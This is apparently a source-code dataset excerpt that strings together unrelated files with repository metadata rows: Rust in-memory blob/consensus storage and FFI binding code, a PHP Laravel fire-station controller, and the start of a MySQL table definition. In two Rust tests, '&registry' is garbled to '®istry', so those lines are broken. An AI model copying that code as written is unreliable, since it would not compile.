Ok(self.dataz.keys().cloned().collect())
}
fn delete(&mut self, key: &str) -> Result<(), Error> {
self.ensure_open()?;
self.dataz.remove(key);
Ok(())
}
}
/// Configuration for opening a [MemBlob] or [MemBlobRead].
#[derive(Debug)]
pub struct MemBlobConfig {
core: Arc<Mutex<MemBlobCore>>,
}
/// An in-memory implementation of [BlobRead].
#[derive(Debug)]
pub struct MemBlobRead {
core: Option<Arc<Mutex<MemBlobCore>>>,
}
impl MemBlobRead {
fn open(config: MemBlobConfig) -> MemBlobRead {
MemBlobRead {
core: Some(config.core),
}
}
fn core_lock<'c>(&'c self) -> Result<MutexGuard<'c, MemBlobCore>, Error> {
match self.core.as_ref() {
None => return Err("MemBlob has been closed".into()),
Some(core) => Ok(core.lock()?),
}
}
}
#[async_trait]
impl BlobRead for MemBlobRead {
async fn get(&self, key: &str) -> Result<Option<Vec<u8>>, Error> {
self.core_lock()?.get(key)
}
async fn list_keys(&self) -> Result<Vec<String>, Error> {
self.core_lock()?.list_keys()
}
async fn close(&mut self) -> Result<bool, Error> {
match self.core.take() {
None => Ok(false), // Someone already called close.
Some(core) => core.lock()?.close(),
}
}
}
/// An in-memory implementation of [Blob].
#[derive(Debug)]
pub struct MemBlob {
core: Option<Arc<Mutex<MemBlobCore>>>,
}
impl MemBlob {
/// Constructs a new, empty MemBlob.
pub fn new(lock_info: LockInfo) -> Self {
let core = Some(Arc::new(Mutex::new(MemBlobCore::new(lock_info))));
MemBlob { core }
}
/// Constructs a new, empty MemBlob with a unique reentrance id.
///
/// Helper for tests that don't care about locking reentrance (which is most
/// of them).
#[cfg(test)]
pub fn new_no_reentrance(lock_info_details: &str) -> Self {
Self::new(LockInfo::new_no_reentrance(lock_info_details.to_owned()))
}
fn core_lock<'c>(&'c self) -> Result<MutexGuard<'c, MemBlobCore>, Error> {
match self.core.as_ref() {
None => return Err("MemBlob has been closed".into()),
Some(core) => Ok(core.lock()?),
}
}
#[cfg(test)]
pub fn all_blobs(&self) -> Result<Vec<(String, Vec<u8>)>, Error> {
let core = self.core_lock()?;
Ok(core
.dataz
.iter()
.map(|(k, v)| (k.clone(), v.clone()))
.collect())
}
}
impl Drop for MemBlob {
fn drop(&mut self) {
let did_work =
futures_executor::block_on(self.close()).expect("closing MemBlob cannot fail");
// MemLog should have been closed gracefully; this drop is only here
// as a failsafe. If it actually did anything, that's surprising.
if did_work {
warn!("MemBlob dropped without close");
}
}
}
#[async_trait]
impl BlobRead for MemBlob {
async fn get(&self, key: &str) -> Result<Option<Vec<u8>>, Error> {
self.core_lock()?.get(key)
}
async fn list_keys(&self) -> Result<Vec<String>, Error> {
self.core_lock()?.list_keys()
}
async fn close(&mut self) -> Result<bool, Error> {
match self.core.take() {
None => Ok(false), // Someone already called close.
Some(core) => core.lock()?.close(),
}
}
}
#[async_trait]
impl Blob for MemBlob {
type Config = MemBlobConfig;
type Read = MemBlobRead;
fn open_exclusive(config: MemBlobConfig, lock_info: LockInfo) -> Result<Self, Error> {
let core = config.core;
core.lock()?.open(lock_info)?;
Ok(MemBlob { core: Some(core) })
}
fn open_read(config: MemBlobConfig) -> Result<MemBlobRead, Error> {
Ok(MemBlobRead::open(config))
}
async fn set(&mut self, key: &str, value: Vec<u8>, _atomic: Atomicity) -> Result<(), Error> {
// NB: This is always atomic, so we're free to ignore the atomic param.
self.core_lock()?.set(key, value)
}
async fn delete(&mut self, key: &str) -> Result<(), Error> {
self.core_lock()?.delete(key)
}
}
/// An in-memory representation of a [Log] and [Blob] that can be reused
/// across dataflows
#[derive(Clone, Debug)]
pub struct MemRegistry {
log: Arc<Mutex<MemLogCore>>,
blob: Arc<Mutex<MemBlobCore>>,
}
impl MemRegistry {
/// Constructs a new, empty [MemRegistry]
pub fn new() -> Self {
let mut log = MemLogCore::new(LockInfo::new_no_reentrance("".into()));
log.close()
.expect("newly opened MemLogCore close is infallible");
let mut blob = MemBlobCore::new(LockInfo::new_no_reentrance("".into()));
blob.close()
.expect("newly opened MemBlobCore close is infallible");
MemRegistry {
log: Arc::new(Mutex::new(log)),
blob: Arc::new(Mutex::new(blob)),
}
}
/// Opens the [MemLog] contained by this registry.
pub fn log_no_reentrance(&self) -> Result<MemLog, Error> {
MemLog::open(
Arc::clone(&self.log),
LockInfo::new_no_reentrance("MemRegistry".to_owned()),
)
}
/// Opens the [MemBlob] contained by this registry.
pub fn blob_no_reentrance(&self) -> Result<MemBlob, Error> {
MemBlob::open_exclusive(
MemBlobConfig {
core: Arc::clone(&self.blob),
},
LockInfo::new_no_reentrance("MemRegistry".to_owned()),
)
}
/// Returns a [RuntimeClient] using the [MemLog] and [MemBlob] contained by
/// this registry.
pub fn indexed_no_reentrance(&mut self) -> Result<Indexed<MemLog, MemBlob>, Error> {
let log = self.log_no_reentrance()?;
let metrics = Arc::new(Metrics::register_with(&MetricsRegistry::new()));
let async_runtime = Arc::new(AsyncRuntime::new()?);
let blob = BlobCache::new(
mz_build_info::DUMMY_BUILD_INFO,
Arc::clone(&metrics),
async_runtime,
self.blob_no_reentrance()?,
None,
);
Indexed::new(log, blob, metrics)
}
/// Returns a [RuntimeClient] with unreliable storage backed by the given
/// [`UnreliableHandle`].
pub fn indexed_unreliable(
&mut self,
unreliable: UnreliableHandle,
) -> Result<Indexed<UnreliableLog<MemLog>, UnreliableBlob<MemBlob>>, Error> {
let log = self.log_no_reentrance()?;
let log = UnreliableLog::from_handle(log, unreliable.clone());
let metrics = Arc::new(Metrics::register_with(&MetricsRegistry::new()));
let async_runtime = Arc::new(AsyncRuntime::new()?);
let blob = self.blob_no_reentrance()?;
let blob = UnreliableBlob::from_handle(blob, unreliable);
let blob = BlobCache::new(
mz_build_info::DUMMY_BUILD_INFO,
Arc::clone(&metrics),
async_runtime,
blob,
None,
);
Indexed::new(log, blob, metrics)
}
/// Starts a [RuntimeClient] using the [MemLog] and [MemBlob] contained by
/// this registry.
pub fn runtime_no_reentrance(&mut self) -> Result<RuntimeClient, Error> {
let log = self.log_no_reentrance()?;
let blob = self.blob_no_reentrance()?;
runtime::start(
RuntimeConfig::for_tests(),
log,
blob,
mz_build_info::DUMMY_BUILD_INFO,
&MetricsRegistry::new(),
None,
)
}
/// Open a [RuntimeClient] with unreliable storage backed by the given
/// [`UnreliableHandle`].
pub fn runtime_unreliable(
&mut self,
unreliable: UnreliableHandle,
) -> Result<RuntimeClient, Error> {
let log = self.log_no_reentrance()?;
let log = UnreliableLog::from_handle(log, unreliable.clone());
let blob = self.blob_no_reentrance()?;
let blob = UnreliableBlob::from_handle(blob, unreliable);
runtime::start(
RuntimeConfig::for_tests(),
log,
blob,
mz_build_info::DUMMY_BUILD_INFO,
&MetricsRegistry::new(),
None,
)
}
}
/// An in-memory representation of a set of [Log]s and [Blob]s that can be reused
/// across dataflows
#[cfg(test)]
#[derive(Debug)]
pub struct MemMultiRegistry {
log_by_path: HashMap<String, Arc<Mutex<MemLogCore>>>,
blob_by_path: HashMap<String, Arc<Mutex<MemBlobCore>>>,
blob_multi_by_path: HashMap<String, Arc<tokio::sync::Mutex<MemBlobMultiCore>>>,
}
#[cfg(test)]
impl MemMultiRegistry {
/// Constructs a new, empty [MemMultiRegistry].
pub fn new() -> Self {
MemMultiRegistry {
log_by_path: HashMap::new(),
blob_by_path: HashMap::new(),
blob_multi_by_path: HashMap::new(),
}
}
/// Opens a [MemLog] associated with `path`.
pub fn log(&mut self, path: &str, lock_info: LockInfo) -> Result<MemLog, Error> {
if let Some(log) = self.log_by_path.get(path) {
MemLog::open(Arc::clone(&log), lock_info)
} else {
let log = Arc::new(Mutex::new(MemLogCore::new(lock_info)));
self.log_by_path.insert(path.to_string(), Arc::clone(&log));
let log = MemLog { core: Some(log) };
Ok(log)
}
}
/// Opens a [MemBlob] associated with `path`.
pub fn blob(&mut self, path: &str, lock_info: LockInfo) -> Result<MemBlob, Error> {
if let Some(blob) = self.blob_by_path.get(path) {
MemBlob::open_exclusive(
MemBlobConfig {
core: Arc::clone(&blob),
},
lock_info,
)
} else {
let blob = Arc::new(Mutex::new(MemBlobCore::new(lock_info)));
self.blob_by_path
.insert(path.to_string(), Arc::clone(&blob));
let blob = MemBlob { core: Some(blob) };
Ok(blob)
}
}
/// Opens a [MemBlobRead] associated with `path`.
pub fn blob_read(&mut self, path: &str) -> MemBlobRead {
if let Some(blob) = self.blob_by_path.get(path) {
MemBlobRead::open(MemBlobConfig {
core: Arc::clone(&blob),
})
} else {
let blob = Arc::new(Mutex::new(MemBlobCore::new_read()));
self.blob_by_path
.insert(path.to_string(), Arc::clone(&blob));
MemBlobRead::open(MemBlobConfig { core: blob })
}
}
/// Opens a [MemBlobMulti] associated with `path`.
pub async fn blob_multi(&mut self, path: &str) -> MemBlobMulti {
if let Some(blob) = self.blob_multi_by_path.get(path) {
MemBlobMulti::open(MemBlobMultiConfig {
core: Arc::clone(&blob),
})
} else {
let blob = Arc::new(tokio::sync::Mutex::new(MemBlobMultiCore::default()));
self.blob_multi_by_path
.insert(path.to_string(), Arc::clone(&blob));
MemBlobMulti::open(MemBlobMultiConfig { core: blob })
}
}
/// Open a [RuntimeClient] associated with `path`.
pub fn open(&mut self, path: &str, lock_info: &str) -> Result<RuntimeClient, Error> {
let lock_info = LockInfo::new_no_reentrance(lock_info.to_owned());
let log = self.log(path, lock_info.clone())?;
let blob = self.blob(path, lock_info)?;
runtime::start(
RuntimeConfig::for_tests(),
log,
blob,
mz_build_info::DUMMY_BUILD_INFO,
&MetricsRegistry::new(),
None,
)
}
}
#[derive(Debug, Default)]
struct MemBlobMultiCore {
dataz: HashMap<String, Vec<u8>>,
}
impl MemBlobMultiCore {
fn get(&self, key: &str) -> Result<Option<Vec<u8>>, ExternalError> {
Ok(self.dataz.get(key).cloned())
}
fn set(&mut self, key: &str, value: Vec<u8>) -> Result<(), ExternalError> {
self.dataz.insert(key.to_owned(), value);
Ok(())
}
fn list_keys(&self) -> Result<Vec<String>, ExternalError> {
Ok(self.dataz.keys().cloned().collect())
}
fn delete(&mut self, key: &str) -> Result<(), ExternalError> {
self.dataz.remove(key);
Ok(())
}
}
/// Configuration for opening a [MemBlobMulti].
#[derive(Debug, Default)]
pub struct MemBlobMultiConfig {
core: Arc<tokio::sync::Mutex<MemBlobMultiCore>>,
}
/// An in-memory implementation of [BlobMulti].
#[derive(Debug)]
pub struct MemBlobMulti {
core: Arc<tokio::sync::Mutex<MemBlobMultiCore>>,
}
impl MemBlobMulti {
/// Opens the given location for non-exclusive read-write access.
pub fn open(config: MemBlobMultiConfig) -> Self {
MemBlobMulti { core: config.core }
}
}
#[async_trait]
impl BlobMulti for MemBlobMulti {
async fn get(&self, _deadline: Instant, key: &str) -> Result<Option<Vec<u8>>, ExternalError> {
self.core.lock().await.get(key)
}
async fn list_keys(&self, _deadline: Instant) -> Result<Vec<String>, ExternalError> {
self.core.lock().await.list_keys()
}
async fn set(
&self,
_deadline: Instant,
key: &str,
value: Vec<u8>,
_atomic: Atomicity,
) -> Result<(), ExternalError> {
// NB: This is always atomic, so we're free to ignore the atomic param.
self.core.lock().await.set(key, value)
}
async fn delete(&self, _deadline: Instant, key: &str) -> Result<(), ExternalError> {
self.core.lock().await.delete(key)
}
}
/// An in-memory implementation of [Consensus].
#[derive(Debug)]
pub struct MemConsensus {
// TODO: This was intended to be a tokio::sync::Mutex but that seems to
// regularly deadlock in the `concurrency` test.
data: Arc<Mutex<HashMap<String, Vec<VersionedData>>>>,
}
impl Default for MemConsensus {
fn default() -> Self {
Self {
data: Arc::new(Mutex::new(HashMap::new())),
}
}
}
#[async_trait]
impl Consensus for MemConsensus {
async fn head(
&self,
_deadline: Instant,
key: &str,
) -> Result<Option<VersionedData>, ExternalError> {
let store = self.data.lock().map_err(Error::from)?;
let values = match store.get(key) {
None => return Ok(None),
Some(values) => values,
};
Ok(values.last().cloned())
}
async fn compare_and_set(
&self,
_deadline: Instant,
key: &str,
expected: Option<SeqNo>,
new: VersionedData,
) -> Result<Result<(), Option<VersionedData>>, ExternalError> {
if let Some(expected) = expected {
if new.seqno <= expected {
return Err(ExternalError::from(
anyhow!("new seqno must be strictly greater than expected. Got new: {:?} expected: {:?}",
new.seqno, expected)));
}
}
if new.seqno.0 > i64::MAX.try_into().expect("i64::MAX known to fit in u64") {
return Err(ExternalError::from(anyhow!(
"sequence numbers must fit within [0, i64::MAX], received: {:?}",
new.seqno
)));
}
let mut store = self.data.lock().map_err(Error::from)?;
let data = match store.get(key) {
None => None,
Some(values) => values.last(),
};
let seqno = data.as_ref().map(|data| data.seqno);
if seqno != expected {
return Ok(Err(data.cloned()));
}
store.entry(key.to_string()).or_default().push(new);
Ok(Ok(()))
}
async fn scan(
&self,
_deadline: Instant,
key: &str,
from: SeqNo,
) -> Result<Vec<VersionedData>, ExternalError> {
let store = self.data.lock().map_err(Error::from)?;
let mut results = vec![];
if let Some(values) = store.get(key) {
// TODO: we could instead binary search to find the first valid
// key and then binary search the rest.
for value in values {
if value.seqno >= from {
results.push(value.clone());
}
}
}
if results.is_empty() {
Err(ExternalError::from(anyhow!(
"sequence number lower bound too high for scan: {:?}",
from
)))
} else {
Ok(results)
}
}
async fn truncate(
&self,
deadline: Instant,
key: &str,
seqno: SeqNo,
) -> Result<(), ExternalError> {
let current = self.head(deadline, key).await?;
if current.map_or(true, |data| data.seqno < seqno) {
return Err(ExternalError::from(anyhow!(
"upper bound too high for truncate: {:?}",
seqno
)));
}
let mut store = self.data.lock().map_err(Error::from)?;
if let Some(values) = store.get_mut(key) {
values.retain(|val| val.seqno >= seqno);
}
Ok(())
}
}
#[cfg(test)]
mod tests {
use crate::location::tests::{
blob_impl_test, blob_multi_impl_test, consensus_impl_test, log_impl_test,
};
use crate::location::Atomicity::RequireAtomic;
use super::*;
#[test]
fn mem_log() -> Result<(), Error> {
let mut registry = MemMultiRegistry::new();
log_impl_test(move |t| registry.log(t.path, (t.reentrance_id, "log_impl_test").into()))
}
#[tokio::test]
async fn mem_blob() -> Result<(), Error> {
let registry = Arc::new(Mutex::new(MemMultiRegistry::new()));
let registry_read = Arc::clone(®istry);
blob_impl_test(
move |t| {
registry
.lock()?
.blob(t.path, (t.reentrance_id, "blob_impl_test").into())
},
move |path| Ok(registry_read.lock()?.blob_read(path)),
)
.await
}
#[tokio::test]
async fn mem_blob_multi() -> Result<(), ExternalError> {
let registry = Arc::new(tokio::sync::Mutex::new(MemMultiRegistry::new()));
blob_multi_impl_test(move |path| {
let path = path.to_owned();
let registry = Arc::clone(®istry);
async move { Ok(registry.lock().await.blob_multi(&path).await) }
})
.await
}
#[tokio::test]
async fn mem_consensus() -> Result<(), ExternalError> {
consensus_impl_test(|| Ok(MemConsensus::default())).await
}
// This test covers a regression that was affecting the nemesis tests where
// async fetches happening in background threads could race with a close and
// re-open of MemBlob and then incorrectly still affect the newly open
// MemBlob though the handler for the previous (now-closed) MemBlob.
//
// This is really only a problem for tests, but it's a common pattern in
// tests to model restarts, so it's worth getting right.
#[tokio::test]
async fn regression_delayed_close() -> Result<(), Error> {
let registry = MemRegistry::new();
// Put a blob in an Arc<Mutex<..>> and copy it (like we do to in
// BlobCache to share it between the main persist loop and maintenance).
let blob_gen1_1 = Arc::new(Mutex::new(registry.blob_no_reentrance()?));
let blob_gen1_2 = Arc::clone(&blob_gen1_1);
// Close one of them because the runtime is shutting down, but keep the
// other around (to simulate an async fetch in maintenance).
assert_eq!(blob_gen1_1.lock()?.close().await?, true);
drop(blob_gen1_1);
// Now "restart" everything and reuse this blob like nemesis does.
let blob_gen2 = Arc::new(Mutex::new(registry.blob_no_reentrance()?));
// Write some data with the new handle.
blob_gen2
.lock()?
.set("a", "1".into(), RequireAtomic)
.await?;
// The old handle should not be usable anymore. Writes and reads using
// it should fail and the value set by blob_gen2 should not be affected.
assert_eq!(
blob_gen1_2.lock()?.get("a").await,
Err(Error::from("MemBlob has been closed"))
);
assert_eq!(
blob_gen1_2
.lock()?
.set("a", "2".as_bytes().to_vec(), RequireAtomic)
.await,
Err(Error::from("MemBlob has been closed"))
);
assert_eq!(
blob_gen1_2.lock()?.delete("a").await,
Err(Error::from("MemBlob has been closed"))
);
assert_eq!(blob_gen2.lock()?.get("a").await?, Some("1".into()));
// The async fetch finishes. This causes the Arc to run the MemBlob Drop
// impl because it's the last copy of the original Arc.
drop(blob_gen1_2);
// There was a regression where the previous drop closed the current
// MemBlob, make sure it's still usable.
blob_gen2
.lock()?
.set("b", "3".into(), RequireAtomic)
.await
.expect("blob_take2 should still be open");
Ok(())
}
}
| 30.973597 | 113 | 0.568212 |
c3a40d206d8ad16c494591024670ea9a4c2db04d | 7,295 | rs | Rust | src/runtime/src/unsafe_layer.rs | nihil-lang/gnc | 3821052ca5691a6492b23bd8a46bfe70567d374f | [
"BSD-3-Clause"
] | 54 | 2019-05-06T16:28:34.000Z | 2019-12-12T10:54:45.000Z | src/runtime/src/unsafe_layer.rs | Mesabloo/nihil | 3821052ca5691a6492b23bd8a46bfe70567d374f | [
"BSD-3-Clause"
] | 45 | 2020-01-26T10:36:36.000Z | 2021-04-05T13:05:47.000Z | src/runtime/src/unsafe_layer.rs | nihil-lang/gnc | 3821052ca5691a6492b23bd8a46bfe70567d374f | [
"BSD-3-Clause"
] | 6 | 2019-05-10T11:35:20.000Z | 2019-10-31T22:59:11.000Z | use std::ffi::CStr;
#[allow(non_upper_case_globals)]
#[allow(non_camel_case_types)]
#[allow(non_snake_case)]
// ^^^^^^^^^^^^^^^^^^^^^
// Because our naming conventions in C are not necessarily
// the same as in Rust.
// For our binding, it should be ok.
#[allow(dead_code)]
// ^^^^^^^^^^^^^^^^
// This one is needed because there are a few type aliases
// unused in the generated code.
mod core_bindings {
include!(concat!(env!("OUT_DIR"), "/gnc-core.rs"));
}
pub use core_bindings::Binding_s;
pub use core_bindings::VExpr_s;
use core_bindings::*;
use crate::core::{BTreeMap, BTreeSet, VExpr, VPattern, Value};
#[allow(non_upper_case_globals)]
pub fn coerce_to_vexpr(ex: *const VExpr_s) -> VExpr {
let ex = unsafe { *ex };
match ex.ctor {
VExpr_s_VExpr_Cons_CrEInteger => VExpr::EInteger(unsafe { ex.value.eInteger.v_i } as i64),
VExpr_s_VExpr_Cons_CrEDouble => VExpr::EDouble(unsafe { ex.value.eDouble.v_d }),
VExpr_s_VExpr_Cons_CrECharacter => {
VExpr::ECharacter(unsafe { ex.value.eCharacter.v_c } as u8 as char)
}
VExpr_s_VExpr_Cons_CrEId => {
let name = unsafe { CStr::from_ptr(ex.value.eId.v_name) }
.to_str()
.expect("Cannot decode UTF8 string")
.to_owned();
VExpr::EId(name)
}
VExpr_s_VExpr_Cons_CrELambda => {
let arg = coerce_to_vpattern(unsafe { ex.value.eLambda.v_arg });
let body = coerce_to_vexpr(unsafe { ex.value.eLambda.v_ex });
VExpr::ELambda(arg, box body)
}
VExpr_s_VExpr_Cons_CrEApplication => {
let fun = coerce_to_vexpr(unsafe { ex.value.eApplication.v_fun });
let arg = coerce_to_vexpr(unsafe { ex.value.eApplication.v_x });
VExpr::EApplication(box fun, box arg)
}
VExpr_s_VExpr_Cons_CrETuple => {
let exprs = vec_from_ptr(
unsafe { ex.value.eTuple.v_vals },
unsafe { ex.value.eTuple.n } as usize,
)
.into_iter()
.map(coerce_to_vexpr)
.collect();
VExpr::ETuple(exprs)
}
VExpr_s_VExpr_Cons_CrEMatch => {
let expr = coerce_to_vexpr(unsafe { ex.value.eMatch.v_expr });
let exprs =
vec_from_ptr(
unsafe { ex.value.eMatch.v_branches },
unsafe { ex.value.eMatch.n } as usize,
)
.into_iter()
.map(coerce_to_vbranch)
.collect();
VExpr::EMatch(box expr, exprs)
}
VExpr_s_VExpr_Cons_CrELet => {
let decls = vec_from_ptr(unsafe { ex.value.eLet.v_decls }, unsafe { ex.value.eLet.n }
as usize)
.into_iter()
.map(coerce_to_vdecl)
.collect();
let expr = coerce_to_vexpr(unsafe { ex.value.eLet.v_expr });
VExpr::ELet(decls, box expr)
}
VExpr_s_VExpr_Cons_CrETypeHole => VExpr::ETypeHole,
VExpr_s_VExpr_Cons_CrERecord => {
let decls = vec_from_ptr(unsafe { ex.value.eLet.v_decls }, unsafe { ex.value.eLet.n }
as usize)
.into_iter()
.map(coerce_to_vdecl)
.collect();
VExpr::ERecord(decls)
}
VExpr_s_VExpr_Cons_CrERecordAccess => VExpr::ERecordAccess(
box coerce_to_vexpr(unsafe { ex.value.eRecordAccess.v_record }),
unsafe { CStr::from_ptr(ex.value.eRecordAccess.v_field) }
.to_str()
.expect("Cannot decode UTF8 string")
.to_owned(),
),
_ => unreachable!(),
}
}
pub fn coerce_bindings(
nb_defs: usize,
defs: *const *const Binding_s,
nb_cons: usize,
cons: *const *const i8,
) -> (BTreeMap<String, Value>, BTreeSet<String>) {
let mut new_defs = BTreeMap::new();
let mut new_cons = BTreeSet::new();
for idx in 0..nb_defs {
let (name, bind) = unsafe {
let ptr = **defs.add(idx);
let name = CStr::from_ptr(ptr.b_name);
let bind = coerce_to_vexpr(ptr.b_val);
(name, Value::VUnevaluated(bind))
};
new_defs.insert(
name.to_str().expect("Cannot decode UTF8 string").to_owned(),
bind,
);
}
for idx in 0..nb_cons {
let name = unsafe { CStr::from_ptr(*cons.add(idx)) }
.to_str()
.expect("Cannot decode UTF8 string")
.to_owned();
new_cons.insert(name);
}
(new_defs, new_cons)
}
#[allow(non_upper_case_globals)]
fn coerce_to_vpattern(pat: *const VPattern_s) -> VPattern {
let pat = unsafe { *pat };
match pat.ctor {
VPattern_s_VPattern_Cons_CrPInteger => {
VPattern::PInteger(unsafe { pat.value.pInteger.p_i } as i64)
}
VPattern_s_VPattern_Cons_CrPDouble => VPattern::PDouble(unsafe { pat.value.pDouble.p_d }),
VPattern_s_VPattern_Cons_CrPCharacter => {
VPattern::PCharacter(unsafe { pat.value.pCharacter.p_c } as u8 as char)
}
VPattern_s_VPattern_Cons_CrPId => {
let name = unsafe { CStr::from_ptr(pat.value.pId.p_name) }
.to_str()
.expect("Cannot decode UTF8 string")
.to_owned();
VPattern::PId(name)
}
VPattern_s_VPattern_Cons_CrPTuple => {
let pats =
vec_from_ptr(
unsafe { pat.value.pTuple.p_patterns },
unsafe { pat.value.pTuple.n } as usize,
)
.into_iter()
.map(coerce_to_vpattern)
.collect();
VPattern::PTuple(pats)
}
VPattern_s_VPattern_Cons_CrPConstructor => {
let name = unsafe { CStr::from_ptr(pat.value.pConstructor.p_name) }
.to_str()
.expect("Cannot decode UTF8 string")
.to_owned();
let args = vec_from_ptr(unsafe { pat.value.pConstructor.p_args }, unsafe {
pat.value.pConstructor.n
}
as usize)
.into_iter()
.map(coerce_to_vpattern)
.collect();
VPattern::PConstructor(name, args)
}
VPattern_s_VPattern_Cons_CrPWildcard => VPattern::PWildcard,
_ => unreachable!(),
}
}
fn coerce_to_vbranch(ptr: *const VBranch_s) -> (VPattern, VExpr) {
let (pat, ex) = unsafe { ((*ptr).b_pattern, (*ptr).b_expr) };
(coerce_to_vpattern(pat), coerce_to_vexpr(ex))
}
fn coerce_to_vdecl(ptr: *const VDecl_s) -> (String, VExpr) {
let (name, ex) = unsafe { (CStr::from_ptr((*ptr).d_name), (*ptr).d_val) };
(
name.to_str().expect("Cannot decode UTF8 string").to_owned(),
coerce_to_vexpr(ex),
)
}
fn vec_from_ptr<T>(ptr: *const T, size: usize) -> Vec<T>
where
T: Copy,
{
let mut vec = vec![];
vec.reserve_exact(size);
for idx in 0..size {
vec.push(unsafe { *ptr.add(idx) });
}
vec
// Please keep this pretty ugly code...
// vvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvv
//
// (0..size).map(|idx| unsafe { *ptr.add(idx) })
// .collect()
}
| 34.248826 | 98 | 0.557642 |
4c2ab0b76956aa8f02ef9b295f2854be409f39a4 | 4,684 | php | PHP | app/Http/Controllers/Admin/FireStationController.php | Mridulo17/workshop | 8b028f8dfc4a397a167c1fc71c6126e00522f110 | [
"MIT"
] | null | null | null | app/Http/Controllers/Admin/FireStationController.php | Mridulo17/workshop | 8b028f8dfc4a397a167c1fc71c6126e00522f110 | [
"MIT"
] | null | null | null | app/Http/Controllers/Admin/FireStationController.php | Mridulo17/workshop | 8b028f8dfc4a397a167c1fc71c6126e00522f110 | [
"MIT"
] | null | null | null | <?php
namespace App\Http\Controllers\Admin;
use App\Http\Controllers\Controller;
use App\Http\Requests\Admin\FireStationRequest;
use App\Http\Requests\Admin\FireStationTypeRequest;
use App\Models\CityCorporation;
use App\Models\District;
use App\Models\Division;
use App\Models\FireStation;
use App\Models\FireStationType;
use App\Models\Thana;
use Illuminate\Http\Request;
class FireStationController extends Controller
{
public function __construct()
{
$this->middleware('auth');
}
protected function path(string $link){
return "admin.fire_station.{$link}";
}
public function index()
{
$fire_station = FireStation::query();
if(request()->ajax()){
return \Datatables::of($fire_station)
->addIndexColumn()
->addColumn('action', function($data){
$action_array = [
'id' => $data->id
];
$action = \App\Helpers\MenuHelper::TableActionButton($action_array);
return $action;
})
->addColumn('division', function($data){
return @$data->division->bn_name;
})
->addColumn('district', function($data){
return @$data->district->bn_name;
})
->addColumn('thana', function($data){
return @$data->thana->bn_name;
})
->addColumn('status', function($data){
$status = '';
if($data->status == 'Active'){
$status .= '<span class="badge badge-soft-success font-size-11 fw-bold">Active</span>';
}elseif ($data->status == 'Inactive'){
$status .= '<span class="badge badge-soft-pink font-size-11 fw-bold">Inactive</span>';
}
return $status;
})
->rawColumns(['action','status'])
->make(true);
}else{
return view($this->path('index'));
}
}
public function create()
{
$data['fire_station'] = '';
$data['fire_stations'] = FireStation::pluck('bn_name','id');
$data['divisions'] = Division::pluck('bn_name','id');
$data['districts'] = District::pluck('bn_name','id');
$data['thanas'] = Thana::pluck('bn_name','id');
$data['fire_station_types'] = FireStationType::pluck('bn_name','id');
$data['categories'] = array('সিটি কর্পোরেশন','জেলা','উপজেলা');
return view($this->path('create'))->with($data);
}
public function store(FireStationTypeRequest $request)
{
try {
$fire_station = New FireStation();
$request->request->add(['thana_id' => implode(',', $request->thana_id)]);
$fire_station->create($request->all());
\Toastr::success('Fire Station Created', 'Success');
return redirect(route('fire_station.index'));
} catch (\Exception $e) {
return back()->withInput()->with('error', $e->getMessage());
}
}
public function show(FireStation $fire_station)
{
//
}
public function edit(FireStation $fire_station)
{
$data['fire_station'] = $fire_station;
$data['fire_stations'] = FireStation::pluck('name','id');
$data['divisions'] = Division::pluck('bn_name','id');
$data['districts'] = District::pluck('bn_name','id');
$data['thanas'] = Thana::where('district_id',$fire_station->district_id)->pluck('bn_name','id');
$data['fire_station_types'] = FireStationType::pluck('bn_name','id');
$data['categories'] = array('সিটি কর্পোরেশন' => 'সিটি কর্পোরেশন','জেলা' => 'জেলা','উপজেলা' => 'উপজেলা');
return view($this->path('edit'))->with($data);
}
public function update(FireStationRequest $request, FireStation $fire_station)
{
try {
$request->request->add(['thana_id' => implode(',', $request->thana_id)]);
$fire_station->update($request->all());
\Toastr::success('Fire Station Updated', 'Success');
return redirect(route('fire_station.index'));
} catch (\Exception $e) {
return back()->withInput()->with('error', $e->getMessage());
}
}
public function destroy(FireStation $fire_station)
{
$fire_station->deleted_by = \Auth::id();
$fire_station->save();
$fire_station->delete();
return response()->json([
'message' => 'Fire Station deleted'
]);
}
}
| 35.218045 | 112 | 0.535013 |
38b860b16fed94a2475e645b11bbf187f2f60963 | 24 | c | C | Constants.c | andriibugaiov/Data_Structures | e2df37f05c8efc2d5ca46cb1986980049a485187 | [
"MIT"
] | null | null | null | Constants.c | andriibugaiov/Data_Structures | e2df37f05c8efc2d5ca46cb1986980049a485187 | [
"MIT"
] | null | null | null | Constants.c | andriibugaiov/Data_Structures | e2df37f05c8efc2d5ca46cb1986980049a485187 | [
"MIT"
] | null | null | null |
#include "Constants.h"
| 8 | 22 | 0.708333 |
af05417a09f635ff59bc941840a95fb1f8a4dd91 | 4,782 | sql | SQL | idm/static/database/create_table.sql | yunit-code/yunit-code.github.io | 6c2844a9b54af27fd4123d17f90959e807d9cbd9 | [
"MIT"
] | null | null | null | idm/static/database/create_table.sql | yunit-code/yunit-code.github.io | 6c2844a9b54af27fd4123d17f90959e807d9cbd9 | [
"MIT"
] | null | null | null | idm/static/database/create_table.sql | yunit-code/yunit-code.github.io | 6c2844a9b54af27fd4123d17f90959e807d9cbd9 | [
"MIT"
] | null | null | null |
/*
核心拖拽框架主表
用途:主要用于存储页面级的配置数据信息
*/
CREATE TABLE `idm` (
`id` varchar(100) COLLATE utf8_bin NOT NULL,
`CREATE_USERID` varchar(50) COLLATE utf8_bin DEFAULT NULL COMMENT '创建人用户id',
`CREATE_UNAME` varchar(50) COLLATE utf8_bin DEFAULT NULL COMMENT '创建人姓名',
`CREATE_DEPTID` varchar(50) COLLATE utf8_bin DEFAULT NULL,
`CREATE_UNITID` varchar(50) COLLATE utf8_bin DEFAULT NULL,
`CREATE_TIME` datetime DEFAULT NULL,
`LASTUPDATE_USERID` varchar(50) COLLATE utf8_bin DEFAULT NULL,
`LASTUPDATE_UNAME` varchar(50) COLLATE utf8_bin DEFAULT NULL,
`LASTUPDATE_DEPTID` varchar(50) COLLATE utf8_bin DEFAULT NULL,
`LASTUPDATE_UNITID` varchar(50) COLLATE utf8_bin DEFAULT NULL,
`LASTUPDATE_TIME` datetime DEFAULT NULL,
`PROJECT_ID` varchar(50) COLLATE utf8_bin DEFAULT NULL,
`CREATE_DEPTNAME` varchar(100) COLLATE utf8_bin DEFAULT NULL,
`LASTUPDATE_UNITNAME` varchar(100) COLLATE utf8_bin DEFAULT NULL,
`LASTUPDATE_DEPTNAME` varchar(50) COLLATE utf8_bin DEFAULT NULL,
`IS_MODIFY` decimal(2,0) DEFAULT '-1' COMMENT '是否更新',
